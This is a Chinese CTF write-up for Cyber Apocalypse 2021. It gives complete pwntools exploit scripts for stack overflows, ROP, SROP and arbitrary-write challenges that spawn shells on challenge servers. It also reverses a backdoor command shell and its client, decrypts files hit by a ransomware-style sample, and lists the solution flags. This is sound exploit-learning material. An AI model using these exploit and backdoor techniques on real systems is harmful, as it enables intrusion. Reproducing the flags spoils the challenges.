Cyber Apocalypse 2021题解
2021-04-26
pwn
Controller
经过一个check
后就是一个最普通的ROP。
__int64 calculator()
{
__int64 result; // rax
char v1[28]; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+1Ch] [rbp-4h]
v2 = calc();
if ( v2 != 65338 )
return calculator();
printstr("Something odd happened!\nDo you want to report the problem?\n> ");
__isoc99_scanf("%s", v1); //栈溢出
if ( v1[0] == 'y' || v1[0] == 'Y' )
result = printstr("Problem reported!\n");
else
result = printstr("Problem ingored\n");
return result;
}
前面calc
函数可以计算两个小于等于69的数的加减乘除,但是答案要是65338
,可以输入负数绕过。ROP先通过输出GOT表泄露glibc的地址,然后调用system函数。
from typing import Union
from pwn import *
from LibcSearcher import *
from pwnlib.rop import *
from pwnlib.context import *
context.log_level='debug'
REMOTE = True
def main(p: Union[remote, process], elf: ELF):
p.sendlineafter('Insert the amount of 2 different types of recources:', '0 -65338')
p.sendlineafter('> ','2')
rop1=ROP(elf)
rop1.puts(elf.got['puts'])
rop1.call('_start')
p.sendlineafter('> ',flat({40:rop1.chain()}))
p.recvline()
libc=LibcSearcher().condition('puts',u64(p.recvline(False).ljust(8,b'\0'))).elf()
rop2=ROP(libc)
rop2.raw(0x4010FD)
rop2.system(next(libc.search(b'/bin/sh\0')))
p.sendlineafter('Insert the amount of 2 different types of recources:', '0 -65338')
p.sendlineafter('> ','2')
p.sendlineafter('> ',flat({40:rop2.chain()}))
if __name__ == "__main__":
elf_path='./controller'
context.binary = elf_path
elf=ELF(elf_path)
if REMOTE:
p=remote('178.62.77.109',32598)
else:
p=process(elf_path)
main(p,elf)
p.interactive()
# CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
Minefield
程序有一个任意地址写,但是写完之后就直接退出了,没有调用其它函数。但是注意到fini_array
段可写并且 程序存在后门函数,因此直接覆盖fini_array
的值为后门函数地址即可。
from typing import Union
from pwn import *
context.log_level='debug'
REMOTE = True
def main(p: Union[remote, process], elf: ELF):
p.sendlineafter('> ', '2')
ida.attachAndContinue()
p.sendlineafter(': ', str(0x601078))
p.sendlineafter(': ', str(elf.sym['_']))
if __name__ == "__main__":
elf_path='./minefield'
context.binary = elf_path
elf=ELF(elf_path)
if REMOTE:
p=remote('178.62.77.109',32598)
else:
p=process(elf_path)
main(p,elf)
p.interactive()
# CHTB{d3struct0r5_m1n3f13ld}
System dROP
栈溢出,但是没有输出的函数,可以通过syscall;ret;
片段进行系统调用。利用SROP
构造除符合条件的寄存器状态,进行调用。
基本思路: 栈转移->写入/bin/sh
以及SigreturnFrame
->读入15个字符使得rax为15->syscall
->syscall
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
context.log_level='debug'
REMOTE = True
def main(p: Union[remote, process], elf: ELF):
read_=0x400553
syscall=0x40053B
write_addr=0x601028
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = write_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = write_addr+0x30
sigframe.rip = syscall
ida.attachAndContinue()
p.send(flat({32:[
write_addr+0x20,
read_,
write_addr+0x20,
]}))
sleep(1)
p.send(flat({32:[
write_addr+0x20,
elf.plt['read'],
syscall,
bytes(sigframe)
]})[:0x100])
input()
p.send(b'/bin/sh'.ljust(15,b'\0'))
if __name__ == "__main__":
elf_path='./system_drop'
context.binary = elf_path
elf=ELF(elf_path)
if REMOTE:
p=remote('178.62.77.109',32598)
else:
p=process(elf_path)
main(p,elf)
p.interactive()
# CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
Save the environment
recycle
函数可以泄露printf
函数地址和任意地址读,plant
函数可以任意地址写。程序内还有一个后门函数。
思路:泄露出来的libc地址->任意读environ
得到栈地址->任意写将栈上的返回地址写成后门函数地址。
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
context.log_level='debug'
REMOTE = False
def main(p: Union[remote, process], elf: ELF):
def s(i):
if isinstance(i,int):
p.sendlineafter('> ',str(i))
else:
p.sendlineafter('> ',i)
def recycle():
s(2)
s(1)
s('n')
def plant(addr,value):
s(1)
s(addr)
s(value)
for _ in range(5):
recycle()
p.recvuntil('0x')
libc=LibcSearcher().condition('printf',int(p.recvuntil(']',True),16)).elf()
for _ in range(5):
recycle()
s(libc.sym['environ'])
p.recvuntil('[0m')
stack_addr=u64(p.recvline(False).ljust(8,b'\0'))-0x120
plant(stack_addr,elf.sym['hidden_resources'])
if __name__ == "__main__":
elf_path='./environment'
context.binary = elf_path
elf=ELF(elf_path)
if REMOTE:
p=remote('178.62.77.109',32598)
else:
p=process(elf_path)
main(p,elf)
p.interactive()
# CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}
Re
Authenticator
就一个异或加密,关键部分源码:
__int64 __fastcall checkpin(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
for ( i = 0; i < strlen(a1) - 1; ++i )
{
if ( ((unsigned __int8)aAVhAG8j89gvPDv[i] ^ 9) != a1[i] )
return 1LL;
}
return 0LL;
}
print("".join([chr(i^9) for i in b'}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:']))
# CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}
passphrase
IDA7.5直接生成了qmemcpy
这个函数,就两次拼接,非常容易看出来。伪c代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[23]; // [rsp+0h] [rbp-50h] BYREF
char v5[8]; // [rsp+17h] [rbp-39h] BYREF
char s[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
qmemcpy(s1, "3xtr4t3rR3stR14L5_VS_hu", sizeof(s1));
printstr("\nHalt! ⛔");
printstr("\nYou do not look familiar..");
printstr("\nTell me the secret passphrase: ");
fgets(s, 40, stdin);
s[strlen(s) - 1] = 0;
strcpy(v5, "m4n5");
if ( !strcmp(s1, s) )
{
puts(&::s);
printf("\x1B[32m");
printf("\nSorry for suspecting you, please transfer this important message to the chief: CHTB{%s}\n\n", s);
}
else
{
printf("\x1B[31m");
printstr(&unk_C17);
}
return 0;
}
flag为
CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}
Backdoor
这题是PyInstaller逆向详细步骤可以参考这篇博客。注意一定要全部在linux环境内运行。按照博客里的步骤可以得到一个python文件,内容如下
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.6 (default, Jan 27 2021, 15:42:20)
# [GCC 10.2.0]
# Embedded file name: bd.py
# Compiled at: 2021-04-19 14:55:54
# Size of source mod 2**32: 4035 bytes
import socket
from hashlib import md5
from subprocess import check_output
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 4433))
sock.listen(5)
while True:
client, addr = sock.accept()
data = client.recv(32)
if len(data) != 32:
client.close()
elif data.decode() != md5(b's4v3_th3_w0rld').hexdigest():
client.send(b'Invalid')
client.close()
else:
size = client.recv(1)
command = client.recv(int.from_bytes(size, 'little'))
if not command.startswith(b'command:'):
client.close()
else:
command = command.replace(b'command:', b'')
output = check_output(command, shell=True)
client.send(output)
client.close()
# okay decompiling bd.pyc
exp如下
from pwnlib.tubes.remote import *
from hashlib import md5
p=remote('138.68.132.86',31269)
p.send(md5(b's4v3_th3_w0rld').hexdigest())
def sendCommand(c):
p.send(bytes([len(c)]))
p.send(c)
sendCommand('command:cat flag.txt')
p.interactive()
# CHTB{b4ckd00r5_4r3_d4nG3r0u5}
Alienware
这是一道病毒分析。动调进入encryptFiles
函数可以分析得出该病毒会对%USERPROFILE%\Docs
内的文件进行加密,我们随意创建一个文件,让它加密。
进入加密函数中,可以发现是通过调用Wincrypt.h
的接口进行加密,可以直接抄一遍,把加密函数改成解密函数即可。
#include "windows.h"
#include "Wincrypt.h"
#include "stdio.h"
unsigned char key[] =
{
0x2F, 0x00, 0x6B, 0x00, 0x18, 0x00, 0xE4, 0x00, 0x9A, 0x00,
0x33, 0x00, 0xD9, 0x00, 0xC7, 0x00
};
int main() {
HCRYPTPROV cryptrov;
CryptAcquireContextW(&cryptrov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0xF0000000);
HCRYPTHASH sha256;
CryptCreateHash(cryptrov, CALG_SHA_256, NULL, NULL, &sha256);
CryptHashData(sha256, key, 0x10, 0);
HCRYPTKEY hkey;
CryptDeriveKey(cryptrov, CALG_AES_128, sha256, 0, &hkey);
FILE* fp_in , *fp_out;
fopen_s(&fp_out,"D:\\Downloads\\Confidential.pdf","wb+");
fopen_s(&fp_in,"D:\\Downloads\\Confidential.pdf.alien", "rb");
DWORD l = 0x30;
byte buffer[0x30];
while(TRUE){
int a=fread(buffer, 1, l, fp_in);
if(!a)break;
CryptDecrypt(hkey, NULL, 0, NULL, buffer, &l);
fwrite(buffer,1,l,fp_out);
}
fclose(fp_in);
fclose(fp_out);
}
//CHTB{3nh4nc3d_al1en_m@lwar3!}